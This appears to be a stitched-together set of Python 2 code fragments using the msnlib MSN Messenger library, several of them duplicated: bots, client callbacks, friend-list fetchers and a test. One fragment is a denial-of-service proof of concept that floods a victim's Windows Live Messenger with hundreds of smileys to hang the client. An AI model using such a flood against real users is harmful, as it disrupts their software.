def _setup(self): self.m = msnlib.msnd() self.m.cb = msncb.cb() self.m.email = self.email self.m.pwd = self.passwd self.m._botobj = self self.m.cb.msg = msnbot_cb_msg
def get_friend_list(email, password): # print email, password m = msnlib.msnd() m.cb = msncb.cb() m.email = email.strip() m.pwd = password.strip() m.encoding = "utf-8" try: m.login() m.sync() except: return False m.change_status("invisible") begin_time = time.time() users = set() while True: fds = m.pollable() infd = fds[0] outfd = fds[1] fds = select.select(infd, outfd, [], 0) for i in fds[0] + fds[1]: try: m.read(i) except ("SocketError", socket.error), err: if i != m: m.close(i) merge_users = users | set(m.users.keys()) if len(users) == len(merge_users): end_time = time.time() if len(users): if end_time - begin_time >= 2: break elif end_time - begin_time >= 3: break time.sleep(0.05) else: users = merge_users begin_time = time.time()
def get_friend_list(email, password): # print email, password m = msnlib.msnd() m.cb = msncb.cb() m.email = email.strip() m.pwd = password.strip() m.encoding = 'utf-8' try: m.login() m.sync() except: return False m.change_status('invisible') begin_time = time.time() users = set() while True: fds = m.pollable() infd = fds[0] outfd = fds[1] fds = select.select(infd, outfd, [], 0) for i in fds[0] + fds[1]: try: m.read(i) except ('SocketError', socket.error), err: if i != m: m.close(i) merge_users = users | set(m.users.keys()) if len(users) == len(merge_users): end_time = time.time() if len(users): if end_time - begin_time >= 2: break elif end_time - begin_time >= 3: break time.sleep(0.05) else: users = merge_users begin_time = time.time()
def __init__(self, client, parent=None): self.client = client QtCore.QThread.__init__(self) self.FriendList = {} self.rosterdone = False self.client.cb = msncb.cb() self.client.cb.msg = self.messageCB self.client.cb.iln = self.RosterCB self.result = list() self.isSoundOn = True self.client.cb.nln = self.StatusCB self.client.cb.iln = self.StatusCB self.client.cb.fln = self.StatusCB self.client.cb.rem = self.ignoreCB self.client.cb.lst = self.RosterCB self.client.cb.bpr = self.ignoreCB self.client.cb.fln = self.RosterCB self.client.cb.out = self.ignoreCB self.client.cb.rem = self.refreshCB self.client.cb.fln = self.signOutCB
def __init__(self,client, parent = None): self.client = client QtCore.QThread.__init__(self) self.FriendList = {} self.rosterdone = False self.client.cb = msncb.cb() self.client.cb.msg = self.messageCB self.client.cb.iln = self.RosterCB self.result = list() self.isSoundOn = True self.client.cb.nln = self.StatusCB self.client.cb.iln = self.StatusCB self.client.cb.fln = self.StatusCB self.client.cb.rem = self.ignoreCB self.client.cb.lst = self.RosterCB self.client.cb.bpr = self.ignoreCB self.client.cb.fln = self.RosterCB self.client.cb.out = self.ignoreCB self.client.cb.rem = self.refreshCB self.client.cb.fln = self.signOutCB
def connect(self, nick=None, query_for_distances=True, voc_translator=None): self.nick = nick self.m = msnlib.msnd(self.__debug) self.m.cb = msncb.cb() self.m.sebot = ChatBot(self.__proxies, query_for_distances) self.m.sebot.set_voc_translator(voc_translator) self.m.email = self.__user self.m.pwd = self.__pass print "(MSNBot) Logging In" try: self.m.login() print "(MSNBot) Logging Finished!" except: raise Exception('Login failed at MSNBot instance! connect()') self.set_bot_globals() print "Sync" # this makes the server send you the contact list, and it's recommended that # you do it because you can get in trouble when getting certain events from # people that are not on your list; and it's not that expensive anyway self.m.sync() print "Changing Status to online %s" % self.m.email # any non-offline status will do, otherwise we'll get an error from msn when # sending a message self.m.change_status("online") self.m.change_nick(self.nick) auto_responses = None # SET CALLBACKS! self.m.cb.add = cb_add self.m.cb.msg = cb_msg
""" def null(s): "Null function, useful to void debug ones" pass # # This are the callback replacements, which only handle the output and then # call the original callbacks to do the lower level stuff # # basic classes m = msnlib.msnd() m.cb = msncb.cb() # status change def cb_iln(md, type, tid, params): t = params.split() status = msnlib.reverse_status[t[0]] email = t[1] equeue.append('STCH %s %s\n' % (email, status)) msncb.cb_iln(md, type, tid, params) m.cb.iln = cb_iln def cb_nln(md, type, tid, params): status = msnlib.reverse_status[tid] t = string.split(params) email = t[0] equeue.append('STCH %s %s\n' % (email, status))
# specially crafted messages that contain a large number of animations ("Smileys"), # it is possible to make WLM consume large amounts of memory and CPU while # it attempts to render the animated images, causing it to stop responding. import sys import time import select import socket import thread import msnlib import msncb payload = ":'(" * 500 m = msnlib.msnd() m.cb = msncb.cb() def do_work(): time.sleep(15) for i in range(100): print m.sendmsg(victim, payload) time.sleep(30) quit() try: m.email = sys.argv[1] m.pwd = sys.argv[2]
def test_1_cb_WithoutArgs_Pass_With_Only_Valid_Arguments(self): msncb.cb()
def launchBot(login, password, nickname, sendTo, msg, logger, nbSecACK, nbSecTotal, daemon=None): msnlib.msnd.sendMessageBySlice = sendMessageBySlice m = msnlib.msnd() m.cb = msncb.cb() m.cb.msg = mycb_msg m.cb.syn = mycb_syn m.cb.ack = mycb_ack msnlib.debug=noop msncb.debug=noop m.email=login m.pwd=password m.initMsg = ( sendTo, msg ) if not logger: m.logger=noclass() m.logger.info=echo else: m.logger = logger m.nbSecTotal = nbSecTotal m.continueRun=1 m.connectionEstablished=0 m.daemon=daemon # Set the signal handler and a 5-second alarm signal.signal(signal.SIGALRM, loginAlarm) signal.alarm(15) m.login() m.sync() signal.alarm(0) signal.signal(signal.SIGALRM, completeMSNAlarm) m.start=time.time() signal.alarm(nbSecTotal+5) m.change_nick(nickname) m.change_status("online") while m.continueRun: # we get pollable fds t = m.pollable() infd = t[0] outfd = t[1] # we select, waiting for events try: fds = select.select(infd, outfd, [], 0) except: quit(m) for i in fds[0] + fds[1]: # see msnlib.msnd.pollable.__doc__ try: m.read(i) except ('SocketError', socket.error), err: if i != m: # user closed a connection # note that messages can be lost here m.close(i) else: # main socket closed quit(m) # sleep a bit so we don't take over the cpu time.sleep(0.1) now=time.time() if not m.connectionEstablished and now-m.start >= nbSecACK: m.logger.info(sendTo + ' seems not available, dropping MSN') quit(m) if now-m.start >= m.nbSecTotal: msg = 'Maximum waiting time on MSN, log off' m.sendMessageBySlice(sendTo, msg) m.logger.info(msg) quit(m)
# typing, ignore return line = lines[eoh].strip() if (line): try: threading.Thread(None,RecieveMessage( MSNInterface(md,line,email),line,'RECEIVED' )) except: pass #md.sendmsg(email, line) #msncb.cb_msg(md, type, tid, params, sbd) msn = msnlib.msnd() msn.cb = msncb.cb() msn.cb.msg = recvmsg def init(): global msn ChatInterface.Prefix = "!" data = open("data/msndata.txt").readlines() msn.email=data[0][0:len(data[0])-1] msn.pwd=data[1] msn.login() msn.sync() msn.change_status("online")